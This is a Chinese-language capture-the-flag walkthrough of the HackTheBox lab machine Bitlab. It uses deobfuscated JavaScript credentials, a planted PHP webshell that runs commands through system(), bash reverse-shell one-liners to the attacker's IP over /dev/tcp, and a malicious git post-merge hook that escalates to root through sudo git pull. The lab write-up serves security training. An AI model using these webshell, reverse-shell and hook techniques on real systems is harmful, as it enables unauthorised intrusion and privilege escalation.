1. 程式人生 > >【HTB系列】靶機Bitlab的滲透測試

【HTB系列】靶機Bitlab的滲透測試

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:是大方子(Ms08067實驗室核心成員)` ##0x00 本文目錄 * 反思與總結 * 基本資訊 * 滲透測試過程 * 補充 ##0x01 反思與總結 1. curl 傳送GET引數化請求 2. 對反彈回來的shell進行設定完善 3. 使用git hooks來進行提權 ##0x02 基本資訊 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308183620097-1236356452.png) 靶機IP地址:10.10.10.114 Kali IP地址:10.10.14.13 ##0x03 滲透測試過程 ###埠探測 ``` root@kali:~/HTB/bitlab# nmap ‐sC ‐sV ‐oA bitloab 10.10.10.114 Starting Nmap 7.80 ( https://nmap.org ) at 2020‐01‐22 10:04 CST Nmap scan report for 10.10.10.114 Host is up (0.24s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh‐hostkey: | 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA) | 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA) |_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519) 80/tcp open http nginx | http‐robots.txt: 55 disallowed entries (15 shown) | / /autocomplete/users /search /api /admin /profile | /dashboard /projects/new /groups/new /groups/*/edit /users /help |_/s/ /snippets/new /snippets/*/edit | http‐title: Sign in \xC2\xB7 GitLab |_Requested resource was http://10.10.10.114/users/sign_in |_http‐trane‐info: Problem with XML parsing of /evox/about Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 34.44 seconds ``` 目標靶機開放了80 和 22埠 ###目錄探測 我們先從80下手,檢視下網頁內容 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308184301939-2099155972.png) 先使用gobuster進行掃描 ``` gobuster dir ‐u "http://10.10.10.114/" ‐w /usr/share/wordlists/dirbuster/directory‐list‐2.3‐medium.txt ‐t 150 ‐s 200,204,301,307,401,403 ‐o bitlab.gobuster ``` ###引數介紹: ``` dir: 表示掃描目錄的模式 -w: 使用的字典 -t: 執行緒數量 -s: 只顯示響應碼為200,204,301,307,401,403的路徑,因為我們訪問網頁的時候有些位置是不允許我們訪問會被302跳轉到登入介面 ``` ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308184422702-85698160.png) 對出現的結果逐一檢視,發現除了help外其他的網頁都沒什麼可用資訊 ###漏洞發現 開啟help下的bookmarks.html ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308184436854-2025127349.png) 對這幾個超連結逐一檢視,發現前面4個連線都只是分別指向hackthebox,Docker,PHP,Node.js的官網並沒有什麼資訊 點選 【Gitlab Login】 時,發現沒反應,但是出現了javascript程式碼。 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308184444698-1949260734.png) 我們開啟原始碼進行檢視 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308184457109-1010325713.png) 把javascript程式碼複製出來放到https://beautifier.io/進行美化並把裡面的HTML實體去除,得到下面的結果 ``` javascript: (function() { var _0x4b18 = ["\x76\x61\x6C\x75\x65", "\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"]; document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3]; document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5]; })() ``` 把_0x4b18裡面的內容翻譯下(十六進位制轉字元) ``` var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password","11des0081x"]; ``` 那麼下面2行程式碼 ``` document[getElementById](user_login)[value] = clave; document[getElementById](user_password)[value] = 11des0081x; ``` 感覺是賬號密碼的感覺,我們在登入介面使用console進行嘗試 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308184849405-1878921904.png) 賬號密碼直接出現併成功登入 登入後有2個庫 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308184900713-324435188.png) 在deployer中發現index.php,像是一個掛鉤檔案,當Profile儲存庫合併了一個新的提交時就會執行命令 切換到 profile目錄 , 並且執行sudo git pull ``` project‐>name ?? ''; $event = $payload‐>event_type ?? ''; $state = $payload‐>object_attributes‐>state ?? ''; $branch = $payload‐>object_attributes‐>target_branch ?? ''; if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') { echo shell_exec('cd ../profile/; sudo git pull'),"\n"; } echo "OK\n"; ``` 那麼我們只要寫入一個webshell併合併到profile庫中,那麼這個index.php就會把我們的webshell給pull下來 我們建立一個分支 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185136201-389022680.png) 切換到這個分支,然後在這個分支上建立一個webshell ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185145743-556927924.png) ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185149950-465438003.png) 寫入一個webshell,並提交 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185201944-518613015.png) ``` "; $cmd = ($_REQUEST['cmd']); system($cmd); echo ""; die; } ?> ``` 建立合併請求 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185319490-546266952.png) ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185322628-323226887.png) 然後就可以看到我們的webshell就成功合併如mstaer庫 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185334641-749695873.png) 此時應該會被之前的掛鉤檔案pull到本地,我們嘗試訪問看看 ``` http://10.10.10.114/profile/dfz.php?cmd=whoami ``` 也可以通過curl來進行命令執行 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185405369-1067297486.png) ``` curl ‐G "http://10.10.10.114/profile/dfz.php" ‐‐data‐urlencode 'cmd=whoami' ``` ``` -G:表示傳送GET請求 --data--urlencode:對資料進行URL編碼 ``` ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185448049-309196437.png) 這樣我們就拿到了webshell ###反彈shell 接下來就是反彈shell kali先nc先監聽埠 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185513746-1971700271.png) 然後用curl反彈,這裡需要注意的是,反彈shell的指令前面還需要用到bash -c ``` curl ‐G "http://10.10.10.114/profile/dfz.php" ‐‐data‐urlencode "cmd=bash ‐c 'bash ‐i >&/dev/tcp/10.10.14.13/9001 0>&1'" ``` ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185555684-603445802.png) 反彈回來的shell,會出現字元錯誤,無法編輯vim等問題 輸入下面的指令對反彈回來的shell進行設定,讓後面我們可以正常使用 ``` python ‐c "import pty;pty.spawn('/bin/bash')" ctrl + z (後臺掛起shell) stty raw ‐echo fg + 多個回車 stty rows 34 cols 136 export TERM=xterm ``` ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185700216-1311228441.png) 這樣我們反彈回來的shell就可以像我們平常用的那個shell一樣了 ###許可權提升 進入之後我們看下sudo -l 有沒有能突破的點 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185716913-2081847712.png) 這裡我們可以看到 www-data使用者可以不需要密碼 以root的許可權呼叫git pull 命令 這裡我們可以用git的hook檔案來進行提權 在.git/hooks檔案中有一些模板,我們可以對照進行編寫 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185723964-995648657.png) 因為sudo執行www-data使用者執行git pull檔案 那麼我們找下執行這個命令的時候會觸發哪個hook檔案 可以通過下面命令檢視 ``` man githooks `` ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185740234-1026583186.png) 可以看到在執行git pull時,會觸發post-merge這個檔案 但是在hook檔案裡面沒有這個檔案,我需要手動建立 但是這個資料夾我們沒有寫的許可權 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185749705-912886101.png) ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185752973-144944487.png) 那麼我們把這個檔案給重新拷貝一份出來 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185800263-124818260.png) 然後在 /tmp/dfz/profile/.git/hooks/中建立一個 post-merge檔案 ,並賦予執行許可權 ``` #!/bin/bash bash ‐c 'bash ‐i >& /dev/tcp/10.10.14.11/9000 0>&1' ``` ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185833394-494317730.png) 那麼我們接下來做的就是要觸發git pull,在這之前我們需要在倉庫裡面新增一個新的檔案,這樣git pull才能有效果,否則就有如下的提示 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185841113-665039151.png) 我們可以直接新增一個檔案併合並 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185851674-259392223.png) ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185901432-330126112.png) kali進行監聽,然後再進行sudo git pull 然後就得到root許可權 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185910202-1280118874.png) ##0x04 補充 還有另一種方法get flag 我們在進入到profile倉庫後可以看到一個TODO ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185920897-383328840.png) 然後我們在 ``` http://10.10.10.114/users/clave/snippets ``` 裡面找到postgresql的程式碼片段 ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185943323-324217562.png) 可以看到這段程式碼在查詢資料,我們可以看下它查詢的是什麼資料 ``` array(1) { [0]=> array(3) { ["id"]=> string(1) "1" ["username"]=> string(5) "clave" ["password"]=> string(22) "c3NoLXN0cjBuZy1wQHNz==" } } ``` ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308190130918-1540436481.png) 我們嘗試登入到clave ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308190140829-1320805973.png) 成功! 同時我們在clave的家目錄下看到一個exe ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308190148893-551189736.png) 我們通過scp下載回來 ``` scp [email protected]:RemoteConnection.exe . ``` ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308190208840-163667243.png) 使用OD進行除錯也可以看到root的賬號密碼 ``` Qf7]8YSV.wDNF*[7d?j&eD4^ ``` ![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308190230357-2105679878.png)       **轉載請聯絡作者並註明出處!** Ms08067安全實驗室專注於網路安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java程式碼安全審計(入門篇)》等書籍。 團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。 官方網站:https://www.ms08067.com/ 掃描下方二維碼加入實驗室VIP社群 加入後邀請加入內部VIP群,內部微信群永久有效!

相關推薦

HTB系列靶機Bitlab滲透測試

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:是大方子(Ms08067實驗室核心成員)` ##0x00 本文目錄 * 反思與總結 * 基本資訊 * 滲透測試過程 * 補充 ##0x01 反思與總結 1. curl 傳送GET引數化請求 2. 對反彈回來的shell進行

HTB系列靶機Access的滲透測試詳解

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:大方子(Ms08067實驗室核心成員)` Hack The Box是一個CTF挑戰靶機平臺,線上滲透測試平臺。它能幫助你提升滲透測試技能和黑盒測試技能,它包含了一些不斷更新的挑戰,其中有模擬真實世界場景,也有傾向於CTF風格

HTB系列靶機Chaos的滲透測試詳解

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:大方子(Ms08067實驗室核心成員)` **知識點:** 1. 通過域名或者IP可能會得到網站的不同響應 2. Wpscan的掃描wordpress 3. 修改hosts來對網頁郵件系統webmail進行訪問 4. LaT

HTB系列 靶機Swagshop的滲透測試詳解

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:是大方子(Ms08067實驗室核心成員)` **總結與反思** * 使用vi提權 * magento漏洞的利用 * magescan 工具的使用 **靶機介紹** ![](https://img2020.cnblogs.

HTB靶場系列靶機Carrier的滲透測試

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:大方子(Ms08067實驗室核心成員)` Hack The Box是一個CTF挑戰靶機平臺,線上滲透測試平臺。它能幫助你提升滲透測試技能和黑盒測試技能,它包含了一些不斷更新的挑戰,其中有模擬真實世界場景,也有傾向於CTF風格

安全牛學習筆記Kali Linux滲透測試方法

信息安全 kali linux security+ 1.安全問題的根源①由於分層思想,導致每個層次的相關人員都只關心自己層次的工作,因此每個人認識系統都是片面的,而安全是全方位的,整體的,所以造成安全問題。②技術人員追求效率,導致只追求功能實現,而很容易忽略安全性的工作③由於人都是會犯錯誤的,因此

安全牛學習筆記​Kali Linux滲透測試介紹

Kali Linux滲透測試介紹 安全問題的根源         優點:分工明確,工作效率高。(把大問題簡化成易於解決的小問題)         缺點:從業人員對系統沒有整體的認識,對安全認識較為片面。(搞技術的為了提高工作效率,只追求功能實現, 很少能在實現功能後

安全牛學習筆記Kali Linux滲透測試介紹

​Kali Linux滲透測試介紹      安全問題的根源         優點:分工明確,工作效率高。         缺點:從業人員對系統沒有整體的認識,對安全認識較為片面。         最大威脅是人,人都會犯錯,安全問題不能100%絕對根除。    

linux系列vmware12pro安裝centos7

ping entos 配置 行編輯 rip 無法 conf 解決 config 安裝參考:http://blog.csdn.net/guin_guo/article/details/49403889 安裝完成之後ip還是不成功無法連接網絡: 進入/etc/sysconfig

Yii系列處理請求

入口 實現 官方 cookie this sender att 只需要 ota 緣起 這一章是Yii系列的第三章,前兩章給大夥講解了Yii2.0的安裝與Yii2.0的基本框架及基礎概念,傳送門: 【Yii2.0的安裝與調試】:http://www.cnblogs.com/r

CNMP系列CentOS7.0下安裝Nginx服務

系統資源 for proxy input strong network emc -c .com 話步前言,CNMP之路,系統起步:http://www.cnblogs.com/riverdubu/p/6425028.html 這回我來講解下CentOS7.0下如何安裝和配置

CNMP系列CNMP之路,系統起步。

ftp 系列 fig samba 建立連接 編輯 為我 作用 let 簡單的來理解,我所說的CNMP,不是CNM+P,而是CentOs+Nginx+MySql+PHP,也可以單純的理解為LNMP,但是系統是我們自己選的,雖說是Linux的一個分支,但我就喜歡CentOs的這

PHP系列PHP組件詳解

命令行 分享 .cn .com function package etc quest 說我 緣起 楓爺之前做過幾年的PHP的研發,大部分都是在開源框架的引導下,編寫代碼。現在依然,本能的會去讓我使用某個PHP框架開發PHP應用,也是因為懶吧,沒有好好的去研究研究除了框架之外

HLSDK系列服務端 UpdateClientData 函數

del 完全 dll viewmodel 代碼 lag ase mod water 首先說明下,這個函數是寫在 mp.dll 裏的。 服務器會給每個客戶端發送一些數據,其中兩大數據種類就是 clientdata_t 和 entity_state_t 這裏要說的是 clien

HLSDK系列服務端 AddToFullPack 函數

客戶端 global 客戶 const start max pre 參數 glob 服務端會給客戶端發送一些數據,其中兩大種類數據是 clientdata_t 和 entity_state_t 這裏我們說說 entity_state_t 這個結構體。 你在丟在地上的槍、C4

HLSDK系列怎麽增加一種新實體

sta fun class 使用 pen 關聯 creat bsp cnblogs 你平常肯定接觸到很多比如 info_player_start hostage info_target 之類的實體,這裏就解釋一下怎麽創建一種新的實體。 首先建立一個新的 .h 文件(當然你寫

HLSDK系列HL引擎入門篇

入門 理解 我的文章 模塊 兩個 工作 什麽 服務端 為我 如果你打算拿HL的源碼(也就是HLSDK)來改出一個自己的遊戲,那你就非常有必要理解一些HL引擎的工作方式。 HL引擎分成兩個部分,服務端和客戶端。服務端管理所有玩家的狀態和遊戲規則,客戶端負責顯示UI和特效…之類

HLSDK系列服務端實體 edict_t 和 控制類

武器 .cpp 成員 常用 blog 生成 指針 但是 dll 我們來了解一下引擎是怎麽管理實體的吧!我們這裏就說說服務端的實體(edict_t) 服務端用 edict_t 這個結構體來保存一個實體,可以說一個 edict_t 就是一個 服務端實體,下文簡稱實體。 我們在

影視系列《乘風破浪》

.com ans height 分享 真的 手指 enc nbsp ati 本文地址:http://www.cnblogs.com/aiweixiao/p/6985516.html 原文地址(微信公眾號):http://t.cn/RSmAKDU 點擊關註 微信

linux系列cenos7安裝jdk

解壓 安裝目錄 .gz .cn ima cenos linux jdk環境變量配置 環境 一、下載jdk,我采用的jdk.tar.gz的安裝包 二、創建jdk安裝目錄 三、安裝包解壓 四、jdk環境變量配置 五、使配置的環境變量生效 六、檢查jdk是否安裝成功 【l